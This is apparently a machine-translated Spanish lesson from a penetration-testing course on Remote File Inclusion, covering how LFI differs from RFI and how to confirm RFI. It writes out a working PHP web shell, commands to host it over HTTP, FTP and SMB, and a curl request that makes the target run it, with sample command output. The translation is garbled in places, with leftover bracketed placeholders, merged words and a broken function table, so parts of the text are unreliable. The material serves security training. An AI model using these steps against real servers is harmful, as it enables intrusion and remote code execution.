Remote File Inclusion (RFI)

Hasta ahora, en este módulo, nos hemos centrado principalmente en [nombre del archivo Local File Inclusion (LFI)]. Sin embargo, en algunos casos, también podemos incluir archivos remotos ( Inclusión de Archivos Remotos [RFI] ), si la función vulnerable permite la inclusión de URL remotas. Esto ofrece dos beneficios principales:

  1. Enumeración de puertos y aplicaciones web exclusivamente locales (es decir, SSRF)

  2. Obtener ejecución remota de código mediante la inclusión de un script malicioso que alojamos

En esta sección, explicaremos cómo lograr la ejecución remota de código mediante vulnerabilidades RFI. El módulo " Ataques del lado del servidor" abarca diversas SSRFtécnicas que también pueden utilizarse con vulnerabilidades RFI.

Local vs. Remote File Inclusion

Cuando una función vulnerable nos permite incluir archivos remotos, podríamos alojar un script malicioso e incluirlo en la página vulnerable para ejecutar funciones maliciosas y obtener la ejecución remota de código. Si consultamos la tabla de la primera sección, observamos que las siguientes son algunas de las funciones que (de ser vulnerables) permitirían la RFI:

Función

Leer contenido

Ejecutar

URL remota

PHP

include()/include_once()

file_get_contents()

Java

import

.NETO

@Html.RemotePartial()

include

Como podemos ver, casi cualquier vulnerabilidad RFI es también una vulnerabilidad LFI, ya que cualquier función que permita incluir URL remotas suele permitir también incluir URL locales. Sin embargo, una LFI no necesariamente es una RFI. Esto se debe principalmente a tres razones:

  1. Es posible que la función vulnerable no permita incluir URL remotas

  2. Solo puedes controlar una parte del nombre del archivo y no todo el contenedor del protocolo (por ejemplo: http://, ftp://, https://).

  3. La configuración puede evitar la RFI por completo, ya que la mayoría de los servidores web modernos deshabilitan la inclusión de archivos remotos de forma predeterminada.

Además, como se observa en la tabla anterior, algunas funciones permiten incluir URL remotas, pero no la ejecución de código. En este caso, aún podríamos explotar la vulnerabilidad para enumerar puertos locales y aplicaciones web mediante SSRF.

Verificar RFI

En la mayoría de los lenguajes, incluir URL remotas se considera una práctica peligrosa, ya que puede permitir este tipo de vulnerabilidades. Por ello, la inclusión de URL remotas suele estar deshabilitada por defecto. Por ejemplo, cualquier inclusión de URL remota en PHP requeriría que esta allow_url_includeopción esté habilitada. Podemos comprobar si esta opción está habilitada mediante LFI, como hicimos en la sección anterior:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On

Sin embargo, esto no siempre es fiable, ya que incluso si esta configuración está habilitada, la función vulnerable podría no permitir la inclusión de URL remotas desde el principio. Por lo tanto, una forma más fiable de determinar si una vulnerabilidad LFI también es vulnerable a RFI es [ insertar contexto try and include a URL] y comprobar si podemos obtener su contenido. En primer lugar, we should always start by trying to include a local URLpara asegurarnos de que nuestro intento no sea bloqueado por un firewall u otras medidas de seguridad, usemos [ http://127.0.0.1:80/index.phpinsertar contexto] como cadena de entrada y compruebemos si se incluye:

Como podemos ver, la index.phppágina se incluyó en la sección vulnerable (es decir, Descripción del historial), por lo que es vulnerable a RFI, ya que podemos incluir URL. Además, la index.phppágina no se incluyó como texto de código fuente, sino que se ejecutó y renderizó como PHP. Por lo tanto, la función vulnerable también permite la ejecución en PHP, lo que podría permitirnos ejecutar código si incluimos un script PHP malicioso alojado en nuestro equipo.

También observamos que pudimos especificar el puerto 80y acceder a la aplicación web en ese puerto. Si el servidor backend alojaba otras aplicaciones web locales (por ejemplo, el puerto 8080), podríamos acceder a ellas a través de la vulnerabilidad RFI aplicando técnicas SSRF.

Ejecución remota de código con RFI

El primer paso para obtener la ejecución remota de código es crear un script malicioso en el lenguaje de la aplicación web, en este caso PHP. Podemos usar un shell web personalizado que descargamos de internet, un script de shell inverso o escribir nuestro propio shell web básico, como hicimos en la sección anterior, que es lo que haremos en este caso:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Ahora, solo necesitamos alojar este script e incluirlo a través de la vulnerabilidad RFI. Es recomendable escuchar en un puerto HTTP común como 80o 443, ya que estos puertos podrían estar en la lista blanca en caso de que la aplicación web vulnerable tenga un firewall que impida las conexiones salientes. Además, podemos alojar el script a través de un servicio FTP o SMB, como veremos a continuación.

HTTP

Ahora, podemos iniciar un servidor en nuestra máquina con un servidor Python básico con el siguiente comando, de la siguiente manera:

python3 -m http.server <LISTENING_PORT>
Serving HTTP on 0.0.0.0 port <LISTENING_PORT> (http://0.0.0.0:<LISTENING_PORT>/)

Ahora, podemos incluir nuestro shell local mediante RFI, como hicimos antes, pero usando <OUR_IP>y nuestro <LISTENING_PORT>. También especificaremos el comando que se ejecutará con &cmd=id:

Como podemos ver, obtuvimos una conexión en nuestro servidor Python, se incluyó el shell remoto y ejecutamos el comando especificado:

python3 -m http.server <LISTENING_PORT>
Serving HTTP on 0.0.0.0 port <LISTENING_PORT> (http://0.0.0.0:<LISTENING_PORT>/) ...

SERVER_IP - - [SNIP] "GET /shell.php HTTP/1.0" 200 -

FTP

Como se mencionó anteriormente, también podemos alojar nuestro script mediante el protocolo FTP. Podemos iniciar un servidor FTP básico con Python pyftpdlib, como se indica a continuación:

python -m pyftpdlib -p 21

[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: None

Esto también puede ser útil si un firewall bloquea los puertos http o http://un WAF bloquea la cadena. Para incluir nuestro script, podemos repetir lo anterior, pero usando el ftp://esquema en la URL, como se indica a continuación:

Como podemos ver, esto funcionó de forma muy similar a nuestro ataque http y el comando se ejecutó. Por defecto, PHP intenta autenticarse como un usuario anónimo. Si el servidor requiere una autenticación válida, las credenciales se pueden especificar en la URL, como se indica a continuación:

curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

SMB

Si la aplicación web vulnerable está alojada en un servidor Windows (lo cual podemos determinar por la versión del servidor en los encabezados de respuesta HTTP), no es necesario allow_url_includehabilitar la configuración para la explotación de RFI, ya que podemos utilizar el protocolo SMB para la inclusión remota de archivos. Esto se debe a que Windows trata los archivos en servidores SMB remotos como archivos normales, a los que se puede hacer referencia directamente con una ruta UNC.

Podemos poner en marcha un servidor SMB usando Impacket's smbserver.py, que permite la autenticación anónima de forma predeterminada, de la siguiente manera:

impacket-smbserver -smb2support share $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ahora, podemos incluir nuestro script usando una ruta UNC (por ejemplo \\<OUR_IP>\share\shell.php), y especificar el comando con ( &cmd=whoami) como hicimos anteriormente:

Como podemos ver, este ataque funciona al incluir nuestro script remoto, y no es necesario habilitar ninguna configuración diferente a la predeterminada. Sin embargo, cabe destacar que esta técnica es more likely to work if we were on the same network, ya que el acceso a servidores SMB remotos a través de internet puede estar deshabilitado por defecto, dependiendo de la configuración del servidor Windows.

Last updated